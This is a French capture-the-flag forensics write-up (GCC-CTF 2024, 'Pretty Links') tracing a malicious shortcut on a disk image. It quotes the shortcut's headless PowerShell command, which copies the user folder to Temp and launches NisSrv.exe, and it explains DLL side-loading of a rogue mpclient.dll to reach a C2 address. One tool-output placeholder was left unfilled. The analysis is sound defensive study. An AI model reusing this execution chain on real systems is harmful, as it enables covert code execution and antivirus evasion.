Aller au contenu
  1. Write-up/

GCC-CTF 2024 · Forensique · Pretty Links

·4 mins

Article décliné du write-up issu du challenge Pretty Links (Forensique) du GCC CTF 2024.

Scénario :

Suite à la compromission d’un partenaire, votre collègue doit capturer le système de fichiers d’une machine victime. Un fichier étrange a attiré l’attention au cours de son enquête. Trouver le binaire utilisé pour initier l’exécution indirecte de la commande, l’IP et le port de l’attaquant.

Résumé #

Temp est un dossier parfois utilisé par les attaquants pour cacher des exécutables ou des fichiers malveillants, c’est le cas ici. Il contient des fichiers qui ne devraient pas se trouver à cet endroit tels que NisSrv.exe, Facture.pdf, Facture.pdf.lnk et mpclient.dll.

Facture.pdf.lnk est fichier raccourci, invisible dans un explorer Windows classique, qui est exécuté lorsque Facture.pdf est ouvert. Dans ce challenge, le raccourci contient un script Powershell malveillant qui lance NisSrv.exe (binaire légitime), qui n’est pas le malware. L’utilisation de l’outil LECmd permet de mieux comprendre ce que contient le fichier Facture.pdf.lnk, notamment qu’il abuse de conhost.exe et de NisSrv.exe.

NisSrv.exe utilise plusieurs dll dont mpclient.dll. De part la façon dont elles sont gérées par Windows, c’est une dll malveillante qui est chargée par le programme. Cela conduit le programme à se connecter à un C2.

La kill-chain et le script Powershell me font penser que ce comportement sert à outrepasser la surveillance d’un antivirus ou d’un EDR.

Identification des fichiers suspects #

Le challenge se présente sous la forme d’une image disque. On peut la monter avec Autopsy ou FTKImager. Attention, Autopsy ne supporte pas tous les types d’image. Il est parfois nécessaire d’exporter l’arborescence du système de fichier avec FTKImager et de lancer Autopsy sur cet export. Cette méthode n’est pas parfaite mais dans le cadre de ce challenge, c’est suffisant.

Néanmoins, Autopsy ne va pas nous aider dans ce challenge. Pour trouver l’endroit où se cachent les fichiers malveillants, il faut chercher dans les endroit souvent utilisés par des attaquants. Le dossier Temp local fait partie de ceux-là (AppData\Local\Temp). Il contient les fichiers suivants :

- NisSrv.exe
- Facture.pdf
- Facture.pdf.lnk
- mpclient.dll

Analyse du fichier PDF #

Ma première hypothèse était que le fichier Facture.pdf.lnk et Facture.pdf.lnk étaient malveillants. En analysant Facture.pdf.lnk avec LECmd on obtient beaucoup d’informations :

mettre l'output de l'outil ici

Analysons ce que fait le script Powershell :

--headless "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" 
"$zweeki=$env:Temp;
$ocounselk=[System.IO.Path]::GetFullPath($zweeki);
$poledemy = $pwd;
Copy-Item "$poledemy\*" -Destination $ocounselk -Recurse -Force | Out-Null;
cd $ocounselk;
;
.\Facture.pdf;
.\NisSrv.exe" ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe

Pour résumer, il lance une console Powershell en headless, donc sans ouvrir d’interface graphique. Dans cette console, l’action qui est effectuée est de copier de manière récursive le contenu du dossier utilisateur (C:\Users\<user>) dans le dossier temporaire local (C:\Users\<user>\AppData\Local\Temp).

Enfin, le script rentre dans le dossier Temp, ouvre Facture.pdf et exécute NisSrv.exe avec l’application Edge en argument.

J’ai ensuite dirigé mes recherches sur le fichier PDF qui aurait pu contenir un script Javascript exécuté à l’ouverture du fichier pour se connecter à un C2. Cependant, l’analyse du fichier PDF n’a rien donné. J’ai utilisé pdf-parser.py, pdfid.py et pdftool.py. J’ai donc choisi de rediriger mes recherche sur NisSrv.exe et mpclient.dll.

Analyse de NisSrv.exe et mpclient.dll #

Ce sont deux noms de fichiers relatifs à des utilitaires Windows. Le programme a le bon hash mais la dll est notée malveillante sur VirusTotal. La dll initie deux connexions dont une vers 172.29.107.95:7894 (TCP). Un strings sur NisSrv.exe indique que ce programme utilise mpclient.dll.

Sous Windows, lorsqu’un exécutable demande une dll, le système va d’abord regarder si cette dll se trouve dans le même dossier que l’exécutable. Si le nom correspond, alors cette dernière est chargée et l’exécutable peut utiliser les fonctionnalités contenues à l’intérieur. Ici, il n’y a pas de vérification de la signature de la dll, ce qui conduit le programme NisSrv.exe à utiliser le mauvais mpclient.dll qui va le corrompre et initier une communication vers le C2.

Récapitulatif #

Lorsque le fichier lnk est exécuté, le script Powershell est exécuté, faisant une copie récursive du dossier utilisateur dans le dossier temporaire. De part la façon dont fonctionne Windows, c’est conhost.exe qui permet de lancer Powershell. Pour l’utilisateur, le fichier PDF s’ouvre et l’utilitaire NisSrv.exe est également lancé afin de sécuriser cette action.

NisSrv.exe a besoin de mpclient.dll et va d’abord la chercher dans le même dossier que lui. C’est à ce moment que la mauvaise dll est chargée par le programme qui va se faire corrompre pour se connecter à un C2. VirusTotal est en capacité de nous fournir l’adresse et le port de la connexion mais un reverse de la dll aurait pu nous donner cet IOC.

Il reste la question de la copie du dossier utilisateur dans le dossier local. Mon hypothèse est que l’attaquant veut comprendre où il se trouve et les fichiers de l’utilisateur pourraient lui permettre de se situer.

Le deuxième avantage avec cette méthode est qu’il pourrait permettre de passer sous la détection d’un antivirus ou d’un EDR. Il semble plus légitime qu’un programme travaille sur des fichiers situés dans un dossier temporaire, plutôt que sur les fichiers de l’utilisateur.